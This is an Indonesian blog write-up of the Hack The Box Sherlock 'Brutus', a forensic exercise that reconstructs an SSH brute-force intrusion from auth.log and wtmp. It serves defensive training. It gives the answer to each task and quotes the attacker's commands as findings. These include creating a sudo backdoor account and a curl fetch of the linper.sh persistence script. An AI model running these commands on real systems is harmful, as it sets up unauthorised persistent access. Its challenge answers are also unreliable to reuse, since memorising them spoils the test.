# Brutus — HTB Sherlock: Linux Log Forensics

* * *

## Challenge Overview

![Overview Challange](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/cover.png align="center")

**Brutus** adalah challenge forensik yang mengangkat skenario umum di dunia nyata: sebuah server Linux mengalami **brute force attack** via SSH. Setelah berhasil masuk, attacker melakukan serangkaian aktivitas lanjutan yang dapat direkonstruksi melalui analisis log.

### Skill yang Dilatih

*   Unix Log Analysis
    
*   SSH Brute Force Detection
    
*   Timeline Reconstruction
    
*   Persistence Analysis
    
*   MITRE ATT&CK Mapping
    

* * *

## Artifact Overview

![Articact](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/artifact.png align="center")

*Pola Failed password berulang dari IP yang sama*

| Artefak | Tipe | Fungsi |
| --- | --- | --- |
| `auth.log` | Text | Riwayat autentikasi sistem (SSH, sudo, user management) |
| `wtmp` | Binary | Riwayat sesi login/logout terminal |
| `utmp.py` | Script | Helper untuk membaca `wtmp` lintas arsitektur |

### `auth.log`

File teks yang mencatat **seluruh aktivitas autentikasi** pada sistem Linux:

*   SSH login attempts (berhasil maupun gagal)
    
*   Penggunaan `sudo`
    
*   Pembuatan user baru & privilege escalation
    

Struktur umum satu baris log:

```plaintext
[Timestamp]  [Hostname]  [Service/PID]  [Status]  [Username]  [IP]  [Detail]
```

Contoh entri brute force:

```plaintext
Mar 06 06:31:33 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
```

### `wtmp`

File **binary** berisi riwayat sesi login/logout. Tidak bisa dibaca langsung — gunakan:

```bash
# Native Linux
last -f wtmp

# Helper script (challenge)
python3 utmp.py -o wtmp.out wtmp
```

> **Catatan penting:** *Authentication time* ≠ *Session start time*. Inilah mengapa `wtmp` krusial untuk validasi timeline. {: .prompt-warning }

* * *

## Investigation & Findings

### Task 1 — Attacker IP Address

![Task 1.1](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task1.1.png align="center")

Brute force dapat diidentifikasi dari pola berikut di `auth.log`:

*   Entri `Failed password` dalam jumlah sangat banyak
    
*   Dari **IP yang sama**
    
*   Dalam jeda waktu sangat singkat (tidak mungkin manual)
    

```plaintext
Mar 06 06:31:31 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
Mar 06 06:31:33 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
Mar 06 06:31:35 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
```

> **Answer:** `65.2.161.68` {: .prompt-tip }

![Task 1.2](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task1.2.png align="center")

* * *

### Task 2 — Compromised Account

![Task 2.1](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task2.1.png align="center")

Indikator keberhasilan brute force adalah adanya log:

```plaintext
Accepted password for root from 65.2.161.68
```

Attacker berhasil login sebagai user dengan **privilege tertinggi**.

*Entri "Accepted password" menandakan brute force berhasil*

> **Answer:** `root` {: .prompt-tip }

![Task 2.2](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task2.2.png align="center")

* * *

### Task 3 — Interactive Login Timestamp (UTC)

Analisis `wtmp` diperlukan untuk membedakan waktu autentikasi dan waktu sesi terminal aktif secara nyata.

![Task 3.1](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task3.1.png align="center")

> **Answer:** `2024-03-06 06:32:45 UTC` {: .prompt-tip }

![Task 3.2](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task3.2.png align="center")

* * *

### Task 4 — SSH Session Number

Setiap koneksi SSH mendapatkan session ID unik yang tercatat di `auth.log`. Session ID digunakan untuk melacak kapan sesi dimulai dan berakhir.

![Task 4.1](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task4.1.png align="center")

*Session ID 37 pada entri login root*

> **Answer:** `37` {: .prompt-tip }

![Task 4.2](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task4.2.png align="center")

* * *

### Task 5 — Persistence Account

Setelah mendapatkan akses root, attacker membuat user baru sebagai **backdoor persistence**:

```bash
useradd cyberjunkie
usermod -aG sudo cyberjunkie
```

![Task 5.1](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task5.1.png align="center")

*Log pembuatan user dan penambahan ke grup sudo*

> **Answer:** `cyberjunkie` {: .prompt-tip }

![Task 5.2](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task5.2.png align="center")

* * *

### Task 6 — MITRE ATT&CK Mapping

![Task 6.1](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task6.1.png align="center")

Pembuatan akun lokal untuk persistence diklasifikasikan sebagai:

| Field | Value |
| --- | --- |
| Tactic | Persistence |
| Technique | Create Account (`T1136`) |
| Sub-technique | Local Account |

![Task 6.2](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task6.2.png align="center")

*T1136.001 pada MITRE ATT&CK Enterprise Matrix*

> **Answer:** `T1136.001` {: .prompt-tip }

![Task 6.3](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task6.3.png align="center")

### Task 7 — End of First SSH Session

Session ID 37 ditutup berdasarkan log `auth.log` pada:

![Task 7.1](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task7.1.png align="center")

*Entri penutupan sesi SSH ID 37*

> **Answer:** `2024-03-06 06:37:24` {: .prompt-tip }

![Task 7.2](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task7.2.png align="center")

Durasi sesi pertama: ±**4 menit 39 detik** — singkat, konsisten dengan aktivitas otomatisasi.

* * *

### Task 8 — Post Exploitation Activity

![Task 8.1](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task8.1.png align="center")

*Perintah curl via sudo tercatat di auth.log*

Attacker login kembali menggunakan akun `cyberjunkie`, lalu mengeksekusi perintah via `sudo`:

```bash
/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
```

Script eksternal dari GitHub ini kemungkinan digunakan untuk privilege enumeration, persistence reinforcement, dan lateral movement preparation.

![Task 8.2](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/task8.2.png align="center")

> **Answer:** `/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh` {: .prompt-tip }

* * *

## ✅ Kesimpulan

![Achievement](https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/hackthebox/brutus/close-banner.png align="center")

Pertama, brute force attack masih menjadi ancaman nyata, terutama pada sistem yang tidak menerapkan hardening seperti rate limiting, fail2ban, atau key-based authentication.

Kedua, memahami perbedaan antara authentication log dan session log sangat krusial dalam membangun timeline yang akurat. auth.log memberi tahu kita kapan kredensial diterima, sedangkan wtmp memberi tahu kapan sesi benar-benar aktif.

Ketiga, persistence tidak selalu kompleks. Terkadang, teknik sederhana seperti membuat akun lokal baru dan menambahkannya ke grup sudo sudah cukup untuk mempertahankan akses.

Kita melihat bagaimana sebuah serangan brute force terhadap layanan SSH dapat berkembang menjadi kompromi penuh terhadap sistem. Dimulai dari percobaan login masif, berlanjut ke keberhasilan autentikasi sebagai root, kemudian diikuti dengan pembuatan akun baru untuk persistence, hingga eksekusi perintah menggunakan sudo untuk mengunduh script tambahan.

> *Seringkali, sebuah insiden besar dimulai dari satu hal yang sederhana — sebuah password yang berhasil ditebak.* {: .prompt-info }

* * *
